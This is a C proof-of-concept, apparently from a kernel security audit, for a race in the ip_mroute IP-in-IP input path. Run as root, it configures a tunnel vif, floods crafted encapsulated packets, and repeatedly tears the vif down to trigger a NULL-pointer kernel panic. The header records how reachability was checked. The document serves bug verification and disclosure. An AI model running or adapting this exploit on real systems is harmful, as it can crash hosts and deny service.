/*
 * DF-2541 PoC — ip_mroute X_ipip_input stale-cache / NULL-deref race.
 *
 * The finding claims X_ipip_input and pim_input dereference NULL/zeroed vif
 * state because the input paths do not hold mroute_token while del_vif /
 * X_ip_mrouter_done (which DO hold the token) bzero() viftable entries.
 *
 * IMPORTANT reachability facts established during verification:
 *  - pim_input() is wrapped in "#ifdef PIM" (sys/net/ip_mroute/ip_mroute.c:3250).
 *    Neither the GENERIC kernel (no "options PIM" in X86_64_GENERIC) nor the
 *    ip_mroute.ko module (Makefile defines only -DMROUTING, NOT -DPIM) compile
 *    it. So the PIM-REGISTER NULL-deref at line 3230 is DEAD CODE on this guest.
 *  - X_ipip_input() IS compiled (under MROUTING) and reachable via the
 *    encap4_input() backward-compat path (sys/netinet/ip_encap.c:231) once the
 *    module is kldloaded. But its first guard (line 1716) returns early unless
 *    have_encap_tunnel==1, which is set ONLY when root adds a VIFF_TUNNEL vif.
 *
 * Therefore this bug is reachable only in a root-configured multicast routing
 * setup. The realistic threat model is: an admin runs mrouted (MRT_INIT +
 * tunnel vifs), and an attacker floods IP-in-IP packets during mrouted restart
 * / config reload (MRT_DONE). This PoC reproduces that scenario as root.
 *
 * Mechanism of the race:
 *   add_vif(VIFF_TUNNEL)  -> have_encap_tunnel=1, viftable[0].v_rmt_addr=RMT,
 *                            viftable[0].v_ifp=&multicast_decap_if[0]
 *   first ipip pkt (src=RMT) -> X_ipip_input walks viftable, caches
 *                            last_encap_src=RMT, last_encap_vif=&viftable[0]
 *   del_vif(0) / MRT_DONE -> holds mroute_token, bzero()s viftable[0]
 *                            (X_ipip_input holds NO token) -> v_ifp becomes 0
 *   next ipip pkt (src=RMT)-> src==last_encap_src so the walk is SKIPPED;
 *                            last_encap_vif (non-NULL ptr to zeroed slot) is
 *                            used; m->m_pkthdr.rcvif = v_ifp = NULL; netisr'd
 *                            into ip_input with a NULL rcvif.
 *
 * Run as root: ./poc
 */
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <signal.h>

/* MRT socket options (sys/net/ip_mroute/ip_mroute.h) */
#define MRT_INIT    100
#define MRT_DONE    101
#define MRT_ADD_VIF 102
#define MRT_DEL_VIF 103
#define VIFF_TUNNEL 0x1
typedef u_short vifi_t;   /* matches sys/net/ip_mroute/ip_mroute.h:82 */
struct vifctl {
    vifi_t      vifc_vifi;       /* u_short (2) */
    u_char      vifc_flags;      /* 1 */
    u_char      vifc_threshold;  /* 1 */
    u_int       vifc_rate_limit; /* 4 */
    struct in_addr vifc_lcl_addr;/* 4 */
    struct in_addr vifc_rmt_addr;/* 4 */
};

#define RMT "10.0.2.99"      /* fake tunnel remote (attacker src) */
#define DST "127.0.0.1"      /* local destination -> reaches ip_input */
#define MCAST_INNER "225.1.2.3" /* inner dst must be multicast (IN_MULTICAST) */

static volatile int stop = 0;
static void handler(int s __unused) { stop = 1; }

/* Build an IP-in-IP packet: [outer IP proto=4 src=RMT dst=DST][inner IP dst=mcast] */
static int build_pkt(char *buf, int *plen)
{
    struct ip *oip = (struct ip *)buf;   /* outer */
    struct ip *iip;                       /* inner */
    memset(buf, 0, 40);
    oip->ip_v = 4; oip->ip_hl = 5;
    oip->ip_len = htons(40);
    oip->ip_ttl = 64;
    oip->ip_p = 4;                        /* IPPROTO_IPV4 -> encap4_input */
    oip->ip_src.s_addr = inet_addr(RMT);
    oip->ip_dst.s_addr = inet_addr(DST);
    oip->ip_sum = 0;
    iip = (struct ip *)(buf + 20);
    iip->ip_v = 4; iip->ip_hl = 5;
    iip->ip_len = htons(20);
    iip->ip_ttl = 1;
    iip->ip_p = 0;
    iip->ip_src.s_addr = inet_addr(RMT);
    iip->ip_dst.s_addr = inet_addr(MCAST_INNER);
    iip->ip_sum = 0;
    *plen = 40;
    return 0;
}

static int mrt_init(int s)
{
    int v = 1;
    if (setsockopt(s, IPPROTO_IP, MRT_INIT, &v, sizeof(v)) < 0) {
        fprintf(stderr, "MRT_INIT: %s\n", strerror(errno));
        return -1;
    }
    return 0;
}

static int add_tunnel_vif(int s, vifi_t vifi)
{
    struct vifctl vc;
    memset(&vc, 0, sizeof(vc));
    vc.vifc_vifi = vifi;
    vc.vifc_flags = VIFF_TUNNEL;
    vc.vifc_threshold = 1;
    vc.vifc_lcl_addr.s_addr = inet_addr("127.0.0.1");
    vc.vifc_rmt_addr.s_addr = inet_addr(RMT);
    if (setsockopt(s, IPPROTO_IP, MRT_ADD_VIF, &vc, sizeof(vc)) < 0) {
        fprintf(stderr, "MRT_ADD_VIF: %s\n", strerror(errno));
        return -1;
    }
    return 0;
}

static int del_vif(int s, vifi_t vifi)
{
    if (setsockopt(s, IPPROTO_IP, MRT_DEL_VIF, &vifi, sizeof(vifi)) < 0)
        return -1;
    return 0;
}

int main(void)
{
    int ms, rs, plen, i;
    char pkt[64];
    struct sockaddr_in dst;

    signal(SIGINT, handler);
    signal(SIGTERM, handler);

    /* mrouter socket: must be SOCK_RAW / IPPROTO_IGMP (ip_mrouter_init check) */
    ms = socket(AF_INET, SOCK_RAW, IPPROTO_IGMP);
    if (ms < 0) { perror("mrouter socket"); return 2; }
    if (mrt_init(ms) < 0) return 2;
    if (add_tunnel_vif(ms, 0) < 0) return 2;
    fprintf(stderr, "[+] MRT_INIT + tunnel vif0 (rmt=%s) added; have_encap_tunnel=1\n", RMT);

    build_pkt(pkt, &plen);

    /* raw socket to inject the outer IP-in-IP packet to loopback */
    rs = socket(AF_INET, SOCK_RAW, IPPROTO_IPV4);
    if (rs < 0) { perror("raw socket"); return 2; }
    int one = 1;
    if (setsockopt(rs, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0)
        perror("IP_HDRINCL");
    memset(&dst, 0, sizeof(dst));
    dst.sin_family = AF_INET;
    dst.sin_addr.s_addr = inet_addr(DST);

    /* prime the cache: send a few packets so last_encap_vif is cached */
    for (i = 0; i < 50; i++)
        sendto(rs, pkt, plen, 0, (struct sockaddr *)&dst, sizeof(dst));
    fprintf(stderr, "[+] cache primed; starting teardown race loop\n");

    /*
     * Race loop: keep deleting + re-adding the tunnel vif while flooding
     * ipip packets. del_vif bzeros viftable[0]; if a packet is in X_ipip_input
     * using the stale cached last_encap_vif, it derefs a zeroed v_ifp.
     */
    for (int iter = 0; iter < 2000 && !stop; iter++) {
        for (i = 0; i < 400; i++)
            sendto(rs, pkt, plen, 0, (struct sockaddr *)&dst, sizeof(dst));
        del_vif(ms, 0);
        /* small gap so a packet can land on the zeroed slot via stale cache */
        for (i = 0; i < 400; i++)
            sendto(rs, pkt, plen, 0, (struct sockaddr *)&dst, sizeof(dst));
        /* re-add to keep going; ignore transient failures */
        add_tunnel_vif(ms, 0);
        if (iter % 100 == 0)
            fprintf(stderr, "[.] iter %d\n", iter);
    }

    /* cleanup */
    del_vif(ms, 0);
    int v = 0;
    setsockopt(ms, IPPROTO_IP, MRT_DONE, &v, sizeof(v));
    fprintf(stderr, "[+] done — if we got here, no panic on this run\n");
    return 0;
}
